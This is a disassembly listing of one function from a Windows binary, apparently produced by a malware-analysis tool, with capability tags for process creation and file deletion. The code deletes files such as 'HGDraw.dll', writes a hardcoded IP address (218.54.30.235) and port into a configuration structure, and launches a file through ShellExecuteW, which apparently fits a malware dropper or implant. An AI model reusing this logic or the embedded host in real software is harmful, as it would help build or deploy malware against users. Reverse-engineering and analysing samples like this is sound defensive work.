Function at 0x401495
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe84
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
xor edi, edi
mov esi, 0x206
push esi
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push edi
push eax
mov ebx, ecx
mov dword [ebp - 0xe80], edi
mov dword [ebp - 0xe7c], edi
call fcn.004105d0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push edi
push eax
call fcn.004105d0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0xc38], ax
lea eax, [ebp - 0xc36]
push edi
push eax
call fcn.004105d0
add esp, 0xc
lea eax, [ebx + 0x5ac]
push eax
mov edi, 0x104
lea eax, [ebp - 0xc38]
push edi
push eax
call fcn.0040dbde
add esp, 0xc
push str.HGDraw.dll
lea eax, [ebp - 0xc38]
push edi
push eax
call fcn.0040d4b4
add esp, 0xc
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
push 1
mov ecx, ebx
call fcn.00401099
mov dword [ebp - 0xe84], eax
test eax, eax
je 0x4017a5
lea eax, [ebx + 0x5ac]
push eax
mov esi, edi
lea eax, [ebp - 0x418]
push esi
push eax
call fcn.0040dbde
add esp, 0xc
lea eax, [ebx + 0x18c]
push eax
lea eax, [ebp - 0x418]
push esi
push eax
call fcn.0040d4b4
add esp, 0xc
push 0x421d94
lea eax, [ebp - 0x418]
push esi
push eax
call fcn.0040d4b4
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
lea esi, [ebx + 0x1ac]
push esi
lea eax, [ebx + 0x58c]
push 0x10
push eax
call fcn.0040dbde
add esp, 0xc
push ebx
lea edi, [ebp - 0x210]
call fcn.004013b9
mov edx, esi
mov ecx, ebx
call fcn.00401bf8
cmp eax, 1
je 0x401be3
xor eax, eax
mov edi, 0x206
push edi
push eax
mov word [ebp - 0x620], ax
lea eax, [ebp - 0x61e]
push eax
call fcn.004105d0
add esp, 0xc
xor eax, eax
push edi
push eax
mov word [ebp - 0xe48], ax
lea eax, [ebp - 0xe46]
push eax
call fcn.004105d0
lea edx, [ebp - 0x620]
add esp, 0xc
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40162e
lea ecx, [ebp - 0xe48]
sub ecx, esi
movzx eax, word [esi]
mov word [ecx + esi], ax
inc esi
inc esi
test ax, ax
jne 0x401644
lea edi, [ebp - 0xe48]
dec edi
dec edi
mov ax, word [edi + 2]
inc edi
inc edi
test ax, ax
jne 0x40165a
mov esi, 0x421da0
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x620]
push eax
movsd dword es:[edi], dword [esi]
push 0
push 0x20000
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
test eax, eax
je 0x4016e7
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push eax
call esi
lea eax, [ebp - 0xe48]
push eax
xor edi, edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
lea eax, [ebp - 0x620]
push eax
mov dword [ebp - 0xe74], edi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_OpenEventW]
jmp 0x4016dc
cmp dword [ebp - 0xe74], 5
jge 0x4016e7
push eax
call esi
inc dword [ebp - 0xe74]
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x620]
push eax
push 0
push 0x20000
call edi
test eax, eax
jne 0x4016b6
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
lea eax, [ebx + 8]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x488]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40170c
lea eax, [ebx + 0x8a]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x408]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40172a
lea eax, [ebx + 0xaa]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x50a]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401748
mov ax, word [ebx + 0x88]
mov word [ebx + 0x508], ax
mov ax, word [ebx + 0x12a]
mov word [ebx + 0x58a], ax
mov eax, dword [ebx + 0x1cc]
mov dword [ebx + 0x404], eax
lea eax, [ebx + 0x18c]
push eax
lea eax, [ebx + 0x9bc]
push 0x10
push eax
call fcn.0040dbde
add esp, 0xc
mov edi, 0x104
mov esi, 0x206
jmp 0x40185a
push 0x236
lea eax, [ebp - 0xe70]
push 0
push eax
call fcn.004105d0
lea eax, [ebp - 0xe70]
add esp, 0xc
push eax
call fcn.00402c60
pop ecx
mov dword [ebp - 0xe7c], eax
test eax, eax
je 0x40185a
lea eax, [ebp - 0xd62]
mov edx, eax
mov ecx, ebx
sub ecx, edx
lea edx, [ecx + 0x408]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4017e8
mov ax, word [ebp - 0xd66]
push dword [ebp - 0xd6a]
mov word [ebx + 0x508], ax
mov ax, word [ebp - 0xd6c]
mov word [ebx + 0x58a], ax
lea eax, [ebx + 0x488]
push eax
call fcn.00403130
push dword [ebp - 0xd70]
lea eax, [ebx + 0x50a]
push eax
call fcn.00403130
lea eax, [ebp - 0xd42]
push eax
lea eax, [ebx + 0x58c]
push 0x10
push eax
call fcn.0040dbde
mov eax, dword [ebp - 0xe68]
add esp, 0x1c
mov dword [ebx + 0x404], eax
xor eax, eax
push esi
push eax
mov word [ebp - 0x828], ax
lea eax, [ebp - 0x826]
push eax
call fcn.004105d0
add esp, 0xc
push 0
mov ecx, ebx
call fcn.00401099
mov dword [ebp - 0xe74], eax
test eax, eax
je 0x401946
mov eax, 0x421dac
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x50a]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40189a
lea eax, [ebx + 0x28a]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x408]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4018b8
lea eax, [ebx + 0x208]
mov ecx, ebx
sub ecx, eax
lea edx, [ecx + 0x488]
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4018d6
cmp dword [ebx], 3
mov ax, word [ebx + 0x288]
mov word [ebx + 0x508], ax
mov ax, word [ebx + 0x32a]
mov word [ebx + 0x58a], ax
lea eax, [ebp - 0x828]
mov dword [ebx + 0x404], 5
push eax
jne 0x40191d
call fcn.00401252
jmp 0x401924
push edi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push 0x421cc4
lea eax, [ebp - 0x828]
push edi
push eax
call fcn.0040d4b4
add esp, 0xc
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
push 0x51
pop eax
mov word [ebx + 0x88], ax
mov eax, 0x2b70
mov word [ebx + 0x12a], ax
mov eax, 0x421dac
lea edx, [ebx + 0xaa]
sub edx, eax
mov dword [ebx + 4], 0x504d534d
mov dword [ebp - 0xe78], edx
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401976
mov eax, str.218.54.30.235
lea edx, [ebx + 8]
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x40198e
lea edi, [ebx + 0x8a]
mov eax, str.AAAA
mov edx, edi
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4019ab
xor eax, eax
mov dword [ebx + 0x1cc], 5
cmp dword [ebp - 0xe84], eax
jne 0x4019dd
cmp dword [ebp - 0xe7c], eax
jne 0x4019dd
cmp dword [ebp - 0xe74], eax
je 0x401a52
lea eax, [ebx + 0x408]
push eax
push 0x10
push edi
call fcn.0040dbde
add esp, 0xc
lea eax, [ebx + 0x488]
push eax
lea eax, [ebx + 8]
push 0x40
push eax
call fcn.0040dbde
add esp, 0xc
lea eax, [ebx + 0x50a]
push eax
lea eax, [ebx + 0xaa]
push 0x40
push eax
call fcn.0040dbde
mov ax, word [ebx + 0x508]
mov word [ebx + 0x88], ax
mov ax, word [ebx + 0x58a]
mov word [ebx + 0x12a], ax
mov eax, dword [ebx + 0x404]
add esp, 0xc
mov dword [ebx + 0x1cc], eax
test eax, eax
jne 0x401a52
mov dword [ebx + 0x1cc], 5
mov eax, 0x421dac
movzx ecx, word [eax]
mov edx, dword [ebp - 0xe78]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x401a57
cmp word [ebx + 8], cx
je 0x401be3
cmp word [ebx + 0x88], cx
jbe 0x401be3
mov dword [ebx + 4], 0x504d534d
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.0040dc4d
pop ecx
xor eax, eax
push esi
mov word [ebp - 0xa30], ax
xor edi, edi
lea eax, [ebp - 0xa2e]
push edi
push eax
call fcn.004105d0
lea esi, [ebx + 0x9bc]
mov eax, esi
add esp, 0xc
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
cmp dx, di
jne 0x401abd
sub eax, ecx
sar eax, 1
je 0x401af0
push esi
push edi
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
test eax, eax
je 0x401af0
push esi
lea eax, [ebx + 0x18c]
push 0x10
push eax
call fcn.0040dbde
add esp, 0xc
lea esi, [ebx + 0x18c]
cmp word [esi], di
jne 0x401b20
lea eax, [ebp - 0xa30]
push eax
push 6
push 5
call fcn.004031e0
add esp, 0xc
lea eax, [ebp - 0xa30]
push eax
push 0x10
push esi
call fcn.0040dbde
add esp, 0xc
lea esi, [ebx + 0x1ac]
cmp word [esi], di
jne 0x401b77
lea eax, [ebp - 0xa30]
push eax
push 6
push 5
call fcn.004031e0
add esp, 0xc
lea eax, [ebp - 0xa30]
push eax
push 0x10
push esi
call fcn.0040dbde
lea ecx, [ebx + 0x58c]
mov eax, ecx
add esp, 0xc
lea edx, [eax + 2]
mov di, word [eax]
inc eax
inc eax
test di, di
jne 0x401b5b
sub eax, edx
sar eax, 1
je 0x401b77
push ecx
push 0x10
push esi
call fcn.0040dbde
add esp, 0xc
cmp dword [ebx + 0x1cc], 0
mov dword [ebx + 0x1d0], 0x10002aa
jne 0x401b94
mov dword [ebx + 0x1cc], 5
push ebx
call fcn.00401279
test eax, eax
je 0x401be3
push ebx
lea edi, [ebp - 0x210]
call fcn.004013b9
push 0x32
mov eax, edi
push eax
add ebx, 0x7b4
push ebx
call fcn.00403340
add esp, 0xc
mov eax, edi
push eax
call fcn.00401430
xor esi, esi
inc esi
push esi
xor eax, eax
push eax
push 0x421ce8
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xe80], esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe80]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d4a5
leave
ret